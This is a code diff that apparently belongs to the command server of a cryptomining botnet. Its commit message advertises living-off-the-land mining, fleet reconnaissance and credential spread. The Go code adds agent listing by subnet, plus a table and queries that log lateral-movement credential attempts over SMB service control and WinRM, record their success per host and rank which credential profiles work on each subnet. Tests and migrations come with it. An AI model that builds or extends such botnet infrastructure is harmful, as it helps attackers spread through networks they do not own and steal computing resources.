Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/internal/db/agents_list.go

@@ -0,0 +1,85 @@
+package db
+
+import (
+	"fmt"
+	"strings"
+
+	"crypto-miner-server/internal/models"
+)
+
+// AgentListFilter holds optional filters for paginated agent queries.
+type AgentListFilter struct {
+	Limit  int    // 0 = no limit (return all matching rows)
+	Offset int
+	Status string // "online", "offline", or "" for any
+	Subnet string // e.g. "10.0.0.x" — matched against agents.ip prefix
+}
+
+// subnetToIPPrefix converts UI subnet labels to SQL LIKE patterns.
+func subnetToIPPrefix(subnet string) string {
+	subnet = strings.TrimSpace(subnet)
+	if subnet == "" {
+		return ""
+	}
+	if strings.HasSuffix(subnet, ".x") {
+		return strings.TrimSuffix(subnet, ".x") + ".%"
+	}
+	if strings.HasSuffix(subnet, "%") {
+		return subnet
+	}
+	parts := strings.Split(subnet, ".")
+	if len(parts) >= 3 {
+		return fmt.Sprintf("%s.%s.%s.%%", parts[0], parts[1], parts[2])
+	}
+	return subnet + "%"
+}
+
+func (d *Database) agentListWhere(f AgentListFilter) (clause string, args []interface{}) {
+	var where []string
+	if f.Status != "" {
+		where = append(where, "status = ?")
+		args = append(args, f.Status)
+	}
+	if prefix := subnetToIPPrefix(f.Subnet); prefix != "" {
+		where = append(where, "ip LIKE ?")
+		args = append(args, prefix)
+	}
+	if len(where) == 0 {
+		return "", nil
+	}
+	return " WHERE " + strings.Join(where, " AND "), args
+}
+
+// ListAgentsFiltered returns agents matching optional status/subnet filters.
+// When Limit > 0, results are paginated with Offset.
+func (d *Database) ListAgentsFiltered(f AgentListFilter) ([]*models.Agent, error) {
+	where, args := d.agentListWhere(f)
+	query := `SELECT ` + agentSelectCols + ` FROM agents` + where + ` ORDER BY last_seen DESC`
+	if f.Limit > 0 {
+		query += ` LIMIT ? OFFSET ?`
+		args = append(args, f.Limit, f.Offset)
+	}
+	rows, err := d.Query(query, args...)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	var agents []*models.Agent
+	for rows.Next() {
+		a, err := d.scanAgent(rows)
+		if err != nil {
+			return nil, err
+		}
+		agents = append(agents, a)
+	}
+	return agents, rows.Err()
+}
+
+// CountAgentsFiltered returns the number of agents matching filter criteria (ignores Limit/Offset).
+func (d *Database) CountAgentsFiltered(f AgentListFilter) (int, error) {
+	where, args := d.agentListWhere(f)
+	var n int
+	err := d.QueryRow(`SELECT COUNT(*) FROM agents`+where, args...).Scan(&n)
+	return n, err
+}

server/internal/db/agents_list_test.go

@@ -0,0 +1,142 @@
+package db
+
+import (
+	"fmt"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/models"
+)
+
+func TestListAgentsFilteredLargeFleet(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+
+	const total = 200
+	for i := 0; i < total; i++ {
+		subnet := i % 3
+		agent := &models.Agent{
+			ID:       fmt.Sprintf("agent-%04d", i),
+			Name:     fmt.Sprintf("node-%d", i),
+			IP:       fmt.Sprintf("10.0.%d.%d", subnet, (i%250)+1),
+			Status:   "online",
+			LastSeen: time.Now().Add(-time.Duration(i) * time.Second),
+		}
+		if err := d.UpsertAgent(agent); err != nil {
+			t.Fatalf("upsert %d: %v", i, err)
+		}
+	}
+
+	all, err := d.ListAgents()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(all) != total {
+		t.Fatalf("ListAgents: want %d got %d", total, len(all))
+	}
+
+	page, err := d.ListAgentsFiltered(AgentListFilter{Limit: 50, Offset: 0})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(page) != 50 {
+		t.Fatalf("page 0: want 50 got %d", len(page))
+	}
+
+	subnetAgents, err := d.ListAgentsFiltered(AgentListFilter{Subnet: "10.0.1.x"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	wantSubnet := total / 3
+	if len(subnetAgents) < wantSubnet-1 || len(subnetAgents) > wantSubnet+1 {
+		t.Fatalf("subnet filter: want ~%d got %d", wantSubnet, len(subnetAgents))
+	}
+
+	count, err := d.CountAgentsFiltered(AgentListFilter{Status: "online"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if count != total {
+		t.Fatalf("count online: want %d got %d", total, count)
+	}
+}
+
+func TestListAgentsFilteredAt500(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+
+	const total = 500
+	const subnets = 25
+	for i := 0; i < total; i++ {
+		subnet := i % subnets
+		agent := &models.Agent{
+			ID:       fmt.Sprintf("agent-%04d", i),
+			Name:     fmt.Sprintf("node-%d", i),
+			IP:       fmt.Sprintf("10.0.%d.%d", subnet, (i%250)+1),
+			Status:   "online",
+			LastSeen: time.Now().Add(-time.Duration(i) * time.Second),
+		}
+		if err := d.UpsertAgent(agent); err != nil {
+			t.Fatalf("upsert %d: %v", i, err)
+		}
+	}
+
+	const pageLimit = 80
+	var seen int
+	for offset := 0; offset < total; offset += pageLimit {
+		page, err := d.ListAgentsFiltered(AgentListFilter{Limit: pageLimit, Offset: offset})
+		if err != nil {
+			t.Fatal(err)
+		}
+		want := pageLimit
+		if remain := total - offset; remain < pageLimit {
+			want = remain
+		}
+		if len(page) != want {
+			t.Fatalf("offset %d: want %d got %d", offset, want, len(page))
+		}
+		seen += len(page)
+	}
+	if seen != total {
+		t.Fatalf("paginated scan: want %d rows got %d", total, seen)
+	}
+
+	const targetSubnet = "10.0.1.x"
+	subnetAgents, err := d.ListAgentsFiltered(AgentListFilter{Subnet: targetSubnet, Limit: pageLimit})
+	if err != nil {
+		t.Fatal(err)
+	}
+	wantSubnet := total / subnets
+	if len(subnetAgents) != wantSubnet {
+		t.Fatalf("subnet filter: want %d got %d", wantSubnet, len(subnetAgents))
+	}
+
+	start := time.Now()
+	count, err := d.CountAgentsFiltered(AgentListFilter{Subnet: targetSubnet})
+	elapsed := time.Since(start)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if count != wantSubnet {
+		t.Fatalf("subnet count: want %d got %d", wantSubnet, count)
+	}
+	if elapsed > 2*time.Second {
+		t.Fatalf("CountAgentsFiltered at %d agents too slow: %v", total, elapsed)
+	}
+	t.Logf("CountAgentsFiltered subnet=%s: %d in %v", targetSubnet, count, elapsed)
+}
+
+func TestSubnetToIPPrefix(t *testing.T) {
+	if got := subnetToIPPrefix("192.168.1.x"); got != "192.168.1.%" {
+		t.Fatalf("got %q", got)
+	}
+	if got := subnetToIPPrefix(""); got != "" {
+		t.Fatalf("empty: got %q", got)
+	}
+}

server/internal/db/cred_edges.go

@@ -0,0 +1,113 @@
+package db
+
+import (
+	"fmt"
+	"strings"
+	"time"
+)
+
+// CredEdge records a lateral spread credential attempt (profile hash ref only — no secrets).
+type CredEdge struct {
+	ID                  int64     `json:"id"`
+	Host                string    `json:"host"`
+	Subnet              string    `json:"subnet"`
+	CredentialProfileID string    `json:"credential_profile_id"`
+	Success             bool      `json:"success"`
+	Method              string    `json:"method"`
+	AgentID             string    `json:"agent_id"`
+	CreatedAt           time.Time `json:"created_at"`
+}
+
+// CredGraphSubnetRow aggregates cred_edges per /24 for the Emberwake graph UI.
+type CredGraphSubnetRow struct {
+	Subnet       string `json:"subnet"`
+	EdgeCount    int    `json:"edges"`
+	SuccessCount int    `json:"success_count"`
+	FailCount    int    `json:"fail_count"`
+}
+
+// CredProfileAffinity ranks credential profiles that succeeded on a subnet.
+type CredProfileAffinity struct {
+	CredentialProfileID string `json:"credential_profile_id"`
+	SuccessCount        int    `json:"success_count"`
+	LastSuccessAt       string `json:"last_success_at,omitempty"`
+}
+
+func (d *Database) InsertCredEdge(host, subnet, profileID, method, agentID string, success bool) error {
+	host = strings.TrimSpace(host)
+	subnet = strings.TrimSpace(subnet)
+	profileID = strings.TrimSpace(profileID)
+	if host == "" || subnet == "" || profileID == "" {
+		return fmt.Errorf("cred edge requires host, subnet, and credential_profile_id")
+	}
+	_, err := d.Exec(
+		`INSERT INTO cred_edges (host, subnet, credential_profile_id, success, method, agent_id, created_at)
+		 VALUES (?, ?, ?, ?, ?, ?, ?)`,
+		host, subnet, profileID, boolToInt(success), strings.TrimSpace(method), strings.TrimSpace(agentID), time.Now().UTC(),
+	)
+	return err
+}
+
+func (d *Database) ListCredProfileAffinity(subnet string) ([]CredProfileAffinity, error) {
+	subnet = strings.TrimSpace(subnet)
+	if subnet == "" {
+		return nil, nil
+	}
+	rows, err := d.Query(`
+		SELECT credential_profile_id,
+		       COUNT(*) AS wins,
+		       MAX(created_at) AS last_ok
+		FROM cred_edges
+		WHERE subnet = ? AND success = 1
+		GROUP BY credential_profile_id
+		ORDER BY last_ok DESC, wins DESC`,
+		subnet,
+	)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	var out []CredProfileAffinity
+	for rows.Next() {
+		var row CredProfileAffinity
+		var lastOK string
+		if err := rows.Scan(&row.CredentialProfileID, &row.SuccessCount, &lastOK); err != nil {
+			return nil, err
+		}
+		if strings.TrimSpace(lastOK) != "" {
+			if parsed, parseErr := time.Parse(time.RFC3339, lastOK); parseErr == nil {
+				row.LastSuccessAt = parsed.UTC().Format(time.RFC3339)
+			} else {
+				row.LastSuccessAt = lastOK
+			}
+		}
+		out = append(out, row)
+	}
+	return out, rows.Err()
+}
+
+func (d *Database) ListCredGraphBySubnet() ([]CredGraphSubnetRow, error) {
+	rows, err := d.Query(`
+		SELECT subnet,
+		       COUNT(*) AS edge_count,
+		       SUM(CASE WHEN success = 1 THEN 1 ELSE 0 END) AS ok_cnt,
+		       SUM(CASE WHEN success = 0 THEN 1 ELSE 0 END) AS fail_cnt
+		FROM cred_edges
+		GROUP BY subnet
+		ORDER BY edge_count DESC, subnet ASC`)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	var out []CredGraphSubnetRow
+	for rows.Next() {
+		var row CredGraphSubnetRow
+		if err := rows.Scan(&row.Subnet, &row.EdgeCount, &row.SuccessCount, &row.FailCount); err != nil {
+			return nil, err
+		}
+		out = append(out, row)
+	}
+	return out, rows.Err()
+}

server/internal/db/cred_edges_test.go

@@ -0,0 +1,64 @@
+package db
+
+import (
+	"path/filepath"
+	"testing"
+)
+
+func TestInsertCredEdgeAndGraph(t *testing.T) {
+	dir := t.TempDir()
+	d, err := New(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+
+	if err := d.InsertCredEdge("10.0.0.12", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.InsertCredEdge("10.0.0.13", "10.0.0", "profile-a", "smb_scm", "agent-1", false); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.InsertCredEdge("192.168.1.5", "192.168.1", "profile-b", "winrm_encoded", "agent-2", true); err != nil {
+		t.Fatal(err)
+	}
+
+	affinity, err := d.ListCredProfileAffinity("10.0.0")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(affinity) != 1 || affinity[0].CredentialProfileID != "profile-a" || affinity[0].SuccessCount != 1 {
+		t.Fatalf("unexpected affinity: %#v", affinity)
+	}
+
+	graph, err := d.ListCredGraphBySubnet()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(graph) != 2 {
+		t.Fatalf("expected 2 subnet rows, got %#v", graph)
+	}
+	found := map[string]CredGraphSubnetRow{}
+	for _, row := range graph {
+		found[row.Subnet] = row
+	}
+	if found["10.0.0"].EdgeCount != 2 || found["10.0.0"].SuccessCount != 1 || found["10.0.0"].FailCount != 1 {
+		t.Fatalf("unexpected 10.0.0 aggregate: %#v", found["10.0.0"])
+	}
+
+	// WAL file should live under temp dir (migration sanity).
+	if _, err := filepath.Glob(filepath.Join(dir, "miner.db*")); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func TestInsertCredEdgeRequiresFields(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+	if err := d.InsertCredEdge("", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err == nil {
+		t.Fatal("expected validation error")
+	}
+}

server/internal/db/fleet_tasks_scale_test.go

@@ -0,0 +1,49 @@
+package db
+
+import (
+	"fmt"
+	"testing"
+	"time"
+)
+
+func TestBulkLastFleetTaskRunsAtScale(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+
+	const agents = 120
+	const tasks = 25
+	agentIDs := make([]string, agents)
+	taskIDs := make([]string, tasks)
+	for i := 0; i < agents; i++ {
+		agentIDs[i] = fmt.Sprintf("agent-%03d", i)
+	}
+	for j := 0; j < tasks; j++ {
+		taskIDs[j] = fmt.Sprintf("task-%02d", j)
+	}
+
+	// Seed a subset of runs (not full N×M matrix).
+	for i := 0; i < agents; i += 3 {
+		for j := 0; j < tasks; j += 2 {
+			if err := d.RecordFleetTaskRun(agentIDs[i], taskIDs[j]); err != nil {
+				t.Fatal(err)
+			}
+		}
+	}
+
+	start := time.Now()
+	got, err := d.BulkLastFleetTaskRuns(agentIDs, taskIDs)
+	elapsed := time.Since(start)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(got) == 0 {
+		t.Fatal("expected some last-run rows")
+	}
+	if elapsed > 2*time.Second {
+		t.Fatalf("bulk query too slow at %d×%d: %v", agents, tasks, elapsed)
+	}
+	t.Logf("BulkLastFleetTaskRuns %d agents × %d tasks: %d rows in %v", agents, tasks, len(got), elapsed)
+}

server/internal/db/sqlite.go

@@ -182,6 +182,19 @@ func (d *Database) migrate() error {
 		`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
 		`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
 		`CREATE INDEX IF NOT EXISTS idx_campaign_hits_event ON campaign_hits(event_type)`,
+		`CREATE TABLE IF NOT EXISTS cred_edges (
+			id INTEGER PRIMARY KEY AUTOINCREMENT,
+			host TEXT NOT NULL,
+			subnet TEXT NOT NULL,
+			credential_profile_id TEXT NOT NULL,
+			success INTEGER NOT NULL DEFAULT 0,
+			method TEXT NOT NULL DEFAULT '',
+			agent_id TEXT NOT NULL DEFAULT '',
+			created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
+		)`,
+		`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
+		`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
+		`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
 	}
 	for _, m := range extraMigrations {
 		if _, err := d.Exec(m); err != nil {
@@ -190,6 +203,17 @@ func (d *Database) migrate() error {
 	}
 	_, _ = d.Exec(`ALTER TABLE campaign_hits ADD COLUMN event_type TEXT NOT NULL DEFAULT ''`)
 
+	scaleIndexes := []string{
+		`CREATE INDEX IF NOT EXISTS idx_agents_status ON agents(status)`,
+		`CREATE INDEX IF NOT EXISTS idx_agents_last_seen ON agents(last_seen)`,
+		`CREATE INDEX IF NOT EXISTS idx_fleet_task_runs_agent ON fleet_task_runs(agent_id)`,
+	}
+	for _, m := range scaleIndexes {
+		if _, err := d.Exec(m); err != nil {
+			return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
+		}
+	}
+
 	return nil
 }